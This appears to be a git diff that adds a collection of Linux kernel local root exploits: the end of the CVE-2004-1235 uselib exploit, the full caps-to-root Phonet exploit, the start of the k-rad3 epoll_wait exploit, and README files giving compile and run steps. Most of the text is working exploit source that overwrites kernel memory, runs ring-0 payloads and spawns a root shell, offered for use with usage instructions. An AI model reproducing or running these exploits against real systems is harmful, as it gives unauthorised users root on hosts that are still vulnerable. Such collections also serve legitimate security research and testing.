r = sys_munmap(lib_addr, PAGE_SIZE);
|
||||
if(r) fatal("munmap 2", 0);
|
||||
|
||||
// relax kswapd
|
||||
sys_gettimeofday(&tm1, NULL);
|
||||
for(;;) {
|
||||
sys_sched_yield();
|
||||
sys_gettimeofday(&tm2, NULL);
|
||||
delta = tmdiff(&tm1, &tm2);
|
||||
if( wtime*1000000U <= (unsigned)delta ) break;
|
||||
}
|
||||
|
||||
// we need to check the PROT_EXEC flag
|
||||
map_flags = PROT_EXEC;
|
||||
check_vma_flags();
|
||||
if(!map_flags) {
|
||||
printf("\n VMAs reversed"); fflush(stdout);
|
||||
}
|
||||
|
||||
// write protect brk's VMA to fool vm_enough_memory()
|
||||
r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
|
||||
PROT_READ|map_flags);
|
||||
if(-1==r) { fatal("mprotect brk", 0); }
|
||||
|
||||
// this will finally make the big VMA...
|
||||
sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
|
||||
expand:
|
||||
r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
|
||||
LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
|
||||
if(r) fatal("madvise", 0);
|
||||
r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
|
||||
PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
|
||||
if(-1==r) {
|
||||
if(0==sz) {
|
||||
fatal("mremap: expand VMA", 0);
|
||||
} else {
|
||||
sz -= PAGE_SIZE;
|
||||
goto expand;
|
||||
}
|
||||
}
|
||||
vma_start = lib_addr + PAGE_SIZE;
|
||||
vma_end = vma_start + sz + 2*PAGE_SIZE;
|
||||
printf("\n expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
|
||||
fflush(stdout);
|
||||
|
||||
// try to figure kernel layout
|
||||
signal(SIGCHLD, reaper);
|
||||
signal(SIGSEGV, segvcnt);
|
||||
signal(SIGBUS, segvcnt);
|
||||
scan_mm_start();
|
||||
|
||||
failed:
|
||||
fatal("try again", 0);
|
||||
|
||||
}
|
||||
|
||||
|
||||
// make fake ELF library
|
||||
void make_lib()
|
||||
{
|
||||
struct elfhdr eh;
|
||||
struct elf_phdr eph;
|
||||
static char tmpbuf[PAGE_SIZE];
|
||||
int fd;
|
||||
|
||||
// make our elf library
|
||||
umask(022);
|
||||
unlink(libname);
|
||||
fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755);
|
||||
if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0);
|
||||
memset(&eh, 0, sizeof(eh) );
|
||||
|
||||
// elf exec header
|
||||
memcpy(eh.e_ident, ELFMAG, SELFMAG);
|
||||
eh.e_type = ET_EXEC;
|
||||
eh.e_machine = EM_386;
|
||||
eh.e_phentsize = sizeof(struct elf_phdr);
|
||||
eh.e_phnum = 1;
|
||||
eh.e_phoff = sizeof(eh);
|
||||
write(fd, &eh, sizeof(eh) );
|
||||
|
||||
// section header:
|
||||
memset(&eph, 0, sizeof(eph) );
|
||||
eph.p_type = PT_LOAD;
|
||||
eph.p_offset = 4096;
|
||||
eph.p_filesz = 4096;
|
||||
eph.p_vaddr = lib_addr;
|
||||
eph.p_memsz = LIB_SIZE;
|
||||
eph.p_flags = PF_W|PF_R|PF_X;
|
||||
write(fd, &eph, sizeof(eph) );
|
||||
|
||||
// execable code
|
||||
lseek(fd, 4096, SEEK_SET);
|
||||
memset(tmpbuf, 0x90, sizeof(tmpbuf) );
|
||||
write(fd, &tmpbuf, sizeof(tmpbuf) );
|
||||
close(fd);
|
||||
}
|
||||
|
||||
|
||||
// move stack down #2
|
||||
void prepare_finish()
|
||||
{
|
||||
int r;
|
||||
static struct sysinfo si;
|
||||
|
||||
old_esp &= ~(PAGE_SIZE-1);
|
||||
old_esp -= PAGE_SIZE;
|
||||
task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
|
||||
r = sys_munmap(old_esp, task_size-old_esp);
|
||||
if(r) fatal("unmap stack", 0);
|
||||
|
||||
// setup rt env
|
||||
uid = getuid();
|
||||
lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
|
||||
if(map_base)
|
||||
map_addr = map_base;
|
||||
else
|
||||
map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
|
||||
printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x",
|
||||
old_esp, task_size, map_base); fflush(stdout);
|
||||
|
||||
// check physical mem & prepare
|
||||
sysinfo(&si);
|
||||
addr_min = task_size + si.totalram;
|
||||
addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
|
||||
addr_max = addr_min + si.totalram;
|
||||
if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min)
|
||||
addr_max = 0xffffd000;
|
||||
|
||||
printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
|
||||
max_page = (addr_max - addr_min) / PAGE_SIZE;
|
||||
pagemap = malloc( max_page + 32 );
|
||||
if(!pagemap) fatal("malloc pagemap", 1);
|
||||
memset(pagemap, 0, max_page + 32);
|
||||
|
||||
// go go
|
||||
make_lib();
|
||||
exploitme();
|
||||
}
|
||||
|
||||
|
||||
// move stack down #1
|
||||
void prepare()
|
||||
{
|
||||
unsigned p=0;
|
||||
|
||||
environ = myenv;
|
||||
|
||||
p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
|
||||
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0 );
|
||||
if(-1==p) fatal("mmap2 stack", 0);
|
||||
p += STACK_SIZE - 64;
|
||||
|
||||
__asm__("movl %%esp, %0 \n"
|
||||
"movl %1, %%esp \n"
|
||||
: : "m"(old_esp), "m"(p)
|
||||
);
|
||||
|
||||
prepare_finish();
|
||||
}
|
||||
|
||||
|
||||
void chldcnt(int v)
|
||||
{
|
||||
ccnt++;
|
||||
}
|
||||
|
||||
|
||||
// alloc slab objects...
|
||||
inline void do_wipe()
|
||||
{
|
||||
int *r, c=0, left=0;
|
||||
|
||||
__asm__("movl %%esp, %0" : : "m"(old_esp) );
|
||||
|
||||
old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1);
|
||||
old_esp = map_base? map_base : old_esp;
|
||||
|
||||
for(;;) {
|
||||
if(left<=0)
|
||||
left = get_slab_objs("vm_area_struct");
|
||||
if(left <= SLAB_THRSH)
|
||||
break;
|
||||
left--;
|
||||
|
||||
map_flags ^= PROT_READ;
|
||||
old_esp -= PAGE_SIZE;
|
||||
r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
|
||||
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
|
||||
if(MAP_FAILED == r)
|
||||
break;
|
||||
|
||||
if(c>SLAB_PER_CHLD)
|
||||
break;
|
||||
if( (c%1024)==0 ) {
|
||||
if(!c) printf("\n");
|
||||
printf("\r child %d VMAs %d", val, c);
|
||||
fflush(stdout);
|
||||
}
|
||||
c++;
|
||||
}
|
||||
printf("\r child %d VMAs %d", val, c);
|
||||
fflush(stdout);
|
||||
kill(getppid(), SIGUSR1);
|
||||
for(;;) pause();
|
||||
}
|
||||
|
||||
|
||||
// empty SLAB caches
|
||||
void wipe_slab()
|
||||
{
|
||||
signal(SIGUSR1, chldcnt);
|
||||
printf("\n[+] SLAB cleanup"); fflush(stdout);
|
||||
for(;;) {
|
||||
ccnt=0;
|
||||
val++;
|
||||
cpid = fork();
|
||||
if(!cpid)
|
||||
do_wipe();
|
||||
|
||||
while(!ccnt) sys_sched_yield();
|
||||
if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
|
||||
break;
|
||||
}
|
||||
signal(SIGUSR1, SIG_DFL);
|
||||
}
|
||||
|
||||
|
||||
void usage(char *n)
|
||||
{
|
||||
printf("\nUsage: %s\t-f forced stop\n", n);
|
||||
printf("\t\t-s silent mode\n");
|
||||
printf("\t\t-c command to run\n");
|
||||
printf("\t\t-n SMP iterations\n");
|
||||
printf("\t\t-d race delta us\n");
|
||||
printf("\t\t-w wait time seconds\n");
|
||||
printf("\t\t-l alternate lib name\n");
|
||||
printf("\t\t-a alternate addr hex\n");
|
||||
printf("\n");
|
||||
_exit(1);
|
||||
}
|
||||
|
||||
|
||||
// give -s for forced stop, -b to clean SLAB
|
||||
int main(int ac, char **av)
|
||||
{
|
||||
int r;
|
||||
|
||||
while(ac) {
|
||||
r = getopt(ac, av, "n:l:a:w:c:d:fsh");
|
||||
if(r<0) break;
|
||||
|
||||
switch(r) {
|
||||
|
||||
case 'f' :
|
||||
fstop = 1;
|
||||
break;
|
||||
|
||||
case 's' :
|
||||
silent = 1;
|
||||
break;
|
||||
|
||||
case 'n' :
|
||||
smp_max = atoi(optarg);
|
||||
break;
|
||||
|
||||
case 'd':
|
||||
if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u )
|
||||
fatal("bad delta value", 0);
|
||||
break;
|
||||
|
||||
case 'w' :
|
||||
wtime = atoi(optarg);
|
||||
if(wtime<0) fatal("bad wait value", 0);
|
||||
break;
|
||||
|
||||
case 'l' :
|
||||
libname = strdup(optarg);
|
||||
break;
|
||||
|
||||
case 'c' :
|
||||
shellname = strdup(optarg);
|
||||
break;
|
||||
|
||||
case 'a' :
|
||||
if(1!=sscanf(optarg, "%x", &map_base))
|
||||
fatal("bad addr value", 0);
|
||||
map_base &= ~(PGD_SIZE-1);
|
||||
break;
|
||||
|
||||
case 'h' :
|
||||
default:
|
||||
usage(av[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// basic setup
|
||||
uid = getuid();
|
||||
setpgrp();
|
||||
wipe_slab();
|
||||
prepare();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// milw0rm.com [2005-01-07]
|
|
@ -0,0 +1,19 @@
|
|||
# CVE-2004-1235
|
||||
|
||||
CVE-2004-1235
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2004-1235](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2004-1235)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/744/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.4.29
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
|
||||
```
|
||||
|
||||
|
|
@ -0,0 +1,285 @@
|
|||
/*
|
||||
* Linux Kernel CAP_SYS_ADMIN to root exploit
|
||||
* by Dan Rosenberg
|
||||
* @djrbliss on twitter
|
||||
*
|
||||
* Usage:
|
||||
* gcc -w caps-to-root.c -o caps-to-root
|
||||
* sudo setcap cap_sys_admin+ep caps-to-root
|
||||
* ./caps-to-root
|
||||
*
|
||||
* This exploit is NOT stable:
|
||||
*
|
||||
* * It only works on 32-bit x86 machines
|
||||
*
|
||||
* * It only works on >= 2.6.34 kernels (it could probably be ported back, but
|
||||
* it involves winning a race condition)
|
||||
*
|
||||
* * It requires symbol support for symbols that aren't included by default in
|
||||
* several distributions
|
||||
*
|
||||
* * It requires the Phonet protocol, which may not be compiled on some
|
||||
* distributions
|
||||
*
|
||||
* * You may experience problems on multi-CPU systems
|
||||
*
|
||||
* It has been tested on a stock Ubuntu 10.10 installation. I wouldn't be
|
||||
* surprised if it doesn't work on other distributions.
|
||||
*
|
||||
* ----
|
||||
*
|
||||
* Lately there's been a lot of talk about how a large subset of Linux
|
||||
* capabilities are equivalent to root. CAP_SYS_ADMIN is a catch-all
|
||||
* capability that, among other things, allows mounting filesystems and
|
||||
* injecting commands into an administrator's shell - in other words, it
|
||||
* trivially allows you to get root. However, I found another way to get root
|
||||
* from CAP_SYS_ADMIN...the hard way.
|
||||
*
|
||||
* This exploit leverages a signedness error in the Phonet protocol. By
|
||||
* specifying a negative protocol index, I can craft a series of fake
|
||||
* structures in userspace and cause the incrementing of an arbitrary kernel
|
||||
* address, which I then leverage to execute arbitrary kernel code.
|
||||
*
|
||||
* Greets to spender, cloud, jono, kees, pipacs, redpig, taviso, twiz, stealth,
|
||||
* and bla.
|
||||
*
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/socket.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <linux/capability.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
int getroot(void)
|
||||
{
|
||||
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
int konami(void)
|
||||
{
|
||||
|
||||
/* Konami code! */
|
||||
asm("inc %edx;" /* UP */
|
||||
"inc %edx;" /* UP */
|
||||
"dec %edx;" /* DOWN */
|
||||
"dec %edx;" /* DOWN */
|
||||
"shl %edx;" /* LEFT */
|
||||
"shr %edx;" /* RIGHT */
|
||||
"shl %edx;" /* LEFT */
|
||||
"shr %edx;" /* RIGHT */
|
||||
"push %ebx;" /* B */
|
||||
"pop %ebx;"
|
||||
"push %eax;" /* A */
|
||||
"pop %eax;"
|
||||
"mov $getroot, %ebx;"
|
||||
"call *%ebx;"); /* START */
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* thanks spender... */
|
||||
unsigned long get_kernel_sym(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[512];
|
||||
struct utsname ver;
|
||||
int ret;
|
||||
int rep = 0;
|
||||
int oldstyle = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
oldstyle = 1;
|
||||
}
|
||||
|
||||
while(ret != EOF) {
|
||||
if (!oldstyle)
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
else {
|
||||
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S."))
|
||||
continue;
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_')
|
||||
p--;
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(int argc, char * argv[])
|
||||
{
|
||||
|
||||
int sock, proto, i, offset = -1;
|
||||
unsigned long proto_tab, landing, target, pn_ops, pn_ioctl, *ptr;
|
||||
void * map;
|
||||
|
||||
/* Create a socket to load the module for symbol support */
|
||||
printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
|
||||
sock = socket(PF_PHONET, SOCK_DGRAM, 0);
|
||||
|
||||
if(sock < 0) {
|
||||
if(errno == EPERM)
|
||||
printf("[*] You don't have CAP_SYS_ADMIN.\n");
|
||||
|
||||
else
|
||||
printf("[*] Failed to open Phonet socket.\n");
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Resolve kernel symbols */
|
||||
printf("[*] Resolving kernel symbols...\n");
|
||||
|
||||
proto_tab = get_kernel_sym("proto_tab");
|
||||
pn_ops = get_kernel_sym("phonet_dgram_ops");
|
||||
pn_ioctl = get_kernel_sym("pn_socket_ioctl");
|
||||
commit_creds = get_kernel_sym("commit_creds");
|
||||
prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred");
|
||||
|
||||
if(!proto_tab || !commit_creds || !prepare_kernel_cred ||
|
||||
!pn_ops || !pn_ioctl) {
|
||||
printf("[*] Failed to resolve kernel symbols.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Thanks bla, for reminding me how to do basic math */
|
||||
landing = 0x20000000;
|
||||
proto = 1 << 31 | (landing - proto_tab) >> 2;
|
||||
|
||||
/* Map it */
|
||||
printf("[*] Preparing fake structures...\n");
|
||||
|
||||
map = mmap((void *)landing, 0x10000,
|
||||
PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
|
||||
|
||||
if(map == MAP_FAILED) {
|
||||
printf("[*] Failed to map landing area.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Pointer to phonet_protocol struct */
|
||||
ptr = (unsigned long *)landing;
|
||||
ptr[0] = &ptr[1];
|
||||
|
||||
/* phonet_protocol struct */
|
||||
for(i = 1; i < 4; i++)
|
||||
ptr[i] = &ptr[4];
|
||||
|
||||
/* proto struct */
|
||||
for(i = 4; i < 204; i++)
|
||||
ptr[i] = &ptr[204];
|
||||
|
||||
/* First, do a test run to calculate any offsets */
|
||||
target = 0x30000000;
|
||||
|
||||
/* module struct */
|
||||
for(i = 204; i < 404; i++)
|
||||
ptr[i] = target;
|
||||
|
||||
/* Map it */
|
||||
map = mmap((void *)0x30000000, 0x2000000,
|
||||
PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
|
||||
|
||||
if(map == MAP_FAILED) {
|
||||
printf("[*] Failed to map landing area.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Calculating offsets...\n");
|
||||
|
||||
socket(PF_PHONET, SOCK_DGRAM, proto);
|
||||
|
||||
ptr = 0x30000000;
|
||||
for(i = 0; i < 0x800000; i++) {
|
||||
if(ptr[i] != 0) {
|
||||
offset = i * sizeof(void *);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(offset == -1) {
|
||||
printf("[*] Test run failed.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* MSB of pn_ioctl */
|
||||
target = pn_ops + 10 * sizeof(void *) - 1 - offset;
|
||||
|
||||
/* Re-fill the module struct */
|
||||
ptr = (unsigned long *)landing;
|
||||
for(i = 204; i < 404; i++)
|
||||
ptr[i] = target;
|
||||
|
||||
/* Push pn_ioctl fptr into userspace */
|
||||
printf("[*] Modifying function pointer...\n");
|
||||
|
||||
landing = pn_ioctl;
|
||||
while((landing & 0xff000000) != 0x10000000) {
|
||||
socket(PF_PHONET, SOCK_DGRAM, proto);
|
||||
landing += 0x01000000;
|
||||
}
|
||||
|
||||
/* Map it */
|
||||
map = mmap((void *)(landing & ~0xfff), 0x10000,
|
||||
PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
|
||||
|
||||
if(map == MAP_FAILED) {
|
||||
printf("[*] Failed to map payload area.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Copy payload */
|
||||
memcpy((void *)landing, &konami, 1024);
|
||||
|
||||
printf("[*] Executing Konami code at ring0...\n");
|
||||
ioctl(sock, 0, NULL);
|
||||
|
||||
if(getuid()) {
|
||||
printf("[*] Exploit failed to get root.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Konami code worked! Have a root shell.\n");
|
||||
execl("/bin/sh", "/bin/sh", NULL);
|
||||
|
||||
}
|
|
@ -0,0 +1,25 @@
|
|||
# caps_to_root
|
||||
|
||||
caps_to_root
|
||||
|
||||
Vulnerability reference:
|
||||
* [N/A](https://www.exploit-db.com/exploits/15916/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.34, 2.6.35, 2.6.36
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
gcc -w caps-to-root.c -o caps-to-root
|
||||
sudo setcap cap_sys_admin+ep caps-to-root
|
||||
./caps-to-root
|
||||
```
|
||||
|
||||
![root](root.png)
|
||||
|
||||
|
||||
|
||||
|
||||
|
Binary file not shown.
After Width: | Height: | Size: 99 KiB |
|
@ -0,0 +1,730 @@
|
|||
/*
|
||||
* k-rad3.c - linux 2.6.11 and below CPL 0 kernel local exploit v3
|
||||
* Discovered and original exploit coded Jan 2005 by sd <sd@fucksheep.org>
|
||||
*
|
||||
*********************************************************************
|
||||
*
|
||||
* Modified 2005/9 by alert7 <alert7@xfocus.org>
|
||||
* XFOCUS Security Team http://www.xfocus.org
|
||||
*
|
||||
* gcc -o k-rad3 k-rad3.c -static -O2
|
||||
*
|
||||
* tested succeed :
|
||||
* on default installed RHEL4(2.6.9-5.EL and 2.6.9-5.ELsmp)
|
||||
* 2.6.9-5.EL ./k-rad3 -p 2
|
||||
* 2.6.9-5.ELsmp ./k-rad3 -a -p 7
|
||||
* on default installed maglic linux 1.2
|
||||
* MagicLinux 2.6.9 #1 ./k-rad3 -t 1 -p 2
|
||||
*
|
||||
* thank watercloud tested maglic linux 1.2
|
||||
* thank eist provide RHEL4 to test
|
||||
* thank sd <sd@fucksheep.org> share his stuff.
|
||||
* thank xfocus & xfocus's firends
|
||||
*
|
||||
*
|
||||
* TODO:
|
||||
* CASE 1: use stack > 0xc0000000
|
||||
* CASE 2: CONFIG_X86_PAE define ,but cpu flag no pse
|
||||
*
|
||||
*[alert7@MagicLinux ~]$ ./k-rad3 -h
|
||||
*[ k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit ]
|
||||
*[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
|
||||
*[ Modified 2005/9 by alert7 <alert7@xfocus.org> ]
|
||||
*
|
||||
*Usage: ./k-rad3
|
||||
* -s forced cpu flag pse
|
||||
* -a define CONFIG_X86_PAE,default none
|
||||
* -e <num> have two kernel code,default 0
|
||||
* -p <num> alloc pages(4k) ,default 1. Increase from 1 to 7
|
||||
* The higher number the more likely it will crash
|
||||
* -t <num> default 0
|
||||
* 0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192
|
||||
*
|
||||
*[alert7@MagicLinux ~]$ ./k-rad3 -t 1 -p 2
|
||||
*[ k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit ]
|
||||
*[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
|
||||
*[ Modified 2005/9 by alert7 <alert7@xfocus.org> ]
|
||||
*[+] try open /proc/cpuinfo .. ok!!
|
||||
*[+] find cpu flag pse in /proc/cpuinfo
|
||||
*[+] CONFIG_X86_PAE :none
|
||||
*[+] Cpu flag: pse ok
|
||||
*[+] Exploit Way : 0
|
||||
*[+] Use 2 pages (one page is 4K ),rewrite 0xc0000000--(0xc0002000 + n)
|
||||
*[+] thread_size 1 (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192
|
||||
*[+] idtr.base 0xc0461000 ,base 0xc0000000
|
||||
*[+] kwrite base 0xc0000000, buf 0xbffed750,num 8196
|
||||
*[+] idt[0x7f] addr 0xffc003f8
|
||||
*[+] j00 1u(k7 k1d!
|
||||
*[root@k-rad3 ~] #id
|
||||
*uid=0(root) gid=0(root) groups=500(alert7)
|
||||
*
|
||||
*
|
||||
* Linux Kernel <= 2.6.11 "sys_epoll_wait" Local integer overflow Exploit
|
||||
*
|
||||
* "it is possible to partially overwrite low kernel ( >= 2.6 <= 2.6.11)
|
||||
* memory due to integer overflow in sys_epoll_wait and misuse of
|
||||
* __put_user in ep_send_events"
|
||||
* Georgi Guninski: http://seclists.org/lists/fulldisclosure/2005/Mar/0293.html
|
||||
*
|
||||
*********************************************************************
|
||||
*
|
||||
*
|
||||
* In memory of pwned.c (uselib)
|
||||
*
|
||||
* - Redistributions of source code is not permitted.
|
||||
* - Redistributions in the binary form is not permitted.
|
||||
* - Redistributions of the above copyright notice, this list of conditions,
|
||||
* and the following disclaimer is permitted.
|
||||
* - By proceeding to a Redistribution and under any form of the Program
|
||||
* the Distributor is granting ownership of his Resources without
|
||||
* limitations to the copyright holder(s).
|
||||
*
|
||||
*
|
||||
* Since we already owned everyone, theres no point keeping this private
|
||||
* anymore.
|
||||
*
|
||||
* http://seclists.org/lists/fulldisclosure/2005/Mar/0293.html
|
||||
*
|
||||
* Thanks to our internet hero georgi guninski for being such incredible
|
||||
* whitehat disclosing one of the most reliable kernel bugs.
|
||||
* You saved the world, man, we owe you one!
|
||||
*
|
||||
* This version is somewhat broken, but skilled reader will get an idea.
|
||||
* Well, at least let the scriptkids have fun for a while.
|
||||
*
|
||||
* Thanks to all who helped me developing/testing this, you know who you are,
|
||||
* and especially to my gf for guidance while coding this.
|
||||
*
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/epoll.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/resource.h>
|
||||
#include <linux/capability.h>
|
||||
#include <asm/unistd.h>
|
||||
#ifndef __USE_GNU
|
||||
#define __USE_GNU
|
||||
#endif
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <signal.h>
|
||||
#include <string.h>
|
||||
|
||||
/**
|
||||
* Relationship Variables
|
||||
*
|
||||
* 1: CONFIG_X86_PAE
|
||||
* see /lib/modules/`uname -r`/build/.config
|
||||
* 1.1: pse
|
||||
* 2: THREAD_SIZE
|
||||
* see include/asm/thread_info.h THREAD_SIZE define
|
||||
*/
|
||||
|
||||
|
||||
#define MAP (0xfffff000 - (1023*4096))
|
||||
#define MAP_PAE (0xfffff000 - (511*4096))
|
||||
#define MKPTE(addr) ((addr & (~4095)) | 0x27)
|
||||
#define MKPMD(x) (0x1e3|0x004)
|
||||
|
||||
////////////////////////////////////////////////
|
||||
|
||||
#define KRADPS1 "k-rad3"
|
||||
|
||||
#define kB * 1024
|
||||
#define MB * 1024 kB
|
||||
#define GB * 1024 MB
|
||||
|
||||
#define KRS "\033[1;30m[ \033[1;37m"
|
||||
#define KRE "\033[1;30m ]\033[0m"
|
||||
#define KRAD "\033[1;30m[\033[1;37m*\033[1;30m]\033[0m "
|
||||
#define KRADP "\033[1;30m[\033[1;37m+\033[1;30m]\033[0m "
|
||||
#define KRADM "\033[1;30m[\033[1;37m-\033[1;30m]\033[0m "
|
||||
|
||||
#define SET_IDT_GATE(idt,ring,s,addr) \
|
||||
(idt).off1 = addr & 0xffff; \
|
||||
(idt).off2 = addr >> 16; \
|
||||
(idt).sel = s; \
|
||||
(idt).none = 0; \
|
||||
(idt).flags = 0x8E | (ring << 5);
|
||||
|
||||
//config val
|
||||
static int havepse = 0;
|
||||
static int definePAE = 0;
|
||||
static int exploitway = 0;
|
||||
static int npages = 1;
|
||||
static int thread_size = 0;
|
||||
|
||||
|
||||
static uid_t uid = 0;
|
||||
static unsigned long long *clear1;
|
||||
static char * progargv0;
|
||||
|
||||
struct idtr {
|
||||
unsigned short limit;
|
||||
unsigned int base;
|
||||
} __attribute__ ((packed));
|
||||
|
||||
struct idt {
|
||||
unsigned short off1;
|
||||
unsigned short sel;
|
||||
unsigned char none,flags;
|
||||
unsigned short off2;
|
||||
} __attribute__ ((packed));
|
||||
|
||||
|
||||
|
||||
#define __syscall_return(type, res) \
|
||||
do { \
|
||||
if ((unsigned long)(res) >= (unsigned long)(-125)) { \
|
||||
errno = -(res); \
|
||||
res = -1; \
|
||||
} \
|
||||
return (type) (res); \
|
||||
} while (0)
|
||||
|
||||
|
||||
#define _capget_macro(type,name,type1,arg1,type2,arg2) \
|
||||
type name(type1 arg1,type2 arg2) \
|
||||
{ \
|
||||
long __res; \
|
||||
__asm__ volatile ( "int $0x80" \
|
||||
: "=a" (__res) \
|
||||
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
|
||||
__syscall_return(type,__res); \
|
||||
}
|
||||
|
||||
static inline _capget_macro(int,capget,void *,a,void *,b);
|
||||
|
||||
static int THREAD_SIZE_MASK =(-4096);
|
||||
|
||||
|
||||
static void
|
||||
fatal(const char *message)
|
||||
{
|
||||
system("uname -a");
|
||||
printf("[-] %s\n",message);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
void kernel(unsigned * task)
|
||||
{
|
||||
unsigned * addr = task;
|
||||
/* looking for uids */
|
||||
|
||||
*clear1 = 0;
|
||||
|
||||
while (addr[0] != uid || addr[1] != uid ||
|
||||
addr[2] != uid || addr[3] != uid
|
||||
)
|
||||
addr++;
|
||||
|
||||
addr[0] = addr[1] = addr[2] = addr[3] = 0; /* set uids */
|
||||
addr[4] = addr[5] = addr[6] = addr[7] = 0; /* set gids */
|
||||
|
||||
}
|
||||
|
||||
void kcode(void);
|
||||
void __kcode(void)
|
||||
{
|
||||
asm(
|
||||
"kcode: \n"
|
||||
"cld \n"
|
||||
" pusha \n"
|
||||
" pushl %es \n"
|
||||
" pushl %ds \n"
|
||||
" movl %ss,%edx \n"
|
||||
" movl %edx,%es \n"
|
||||
" movl %edx,%ds \n");
|
||||
__asm__("movl %0 ,%%eax" ::"m"(THREAD_SIZE_MASK) );
|
||||
asm(
|
||||
" andl %esp,%eax \n"
|
||||
" pushl (%eax) \n"
|
||||
" call kernel \n"
|
||||
" addl $4, %esp \n"
|
||||
" popl %ds \n"
|
||||
" popl %es \n"
|
||||
" popa \n"
|
||||
" cli \n"
|
||||
" iret \n"
|
||||
);
|
||||
}
|
||||
|
||||
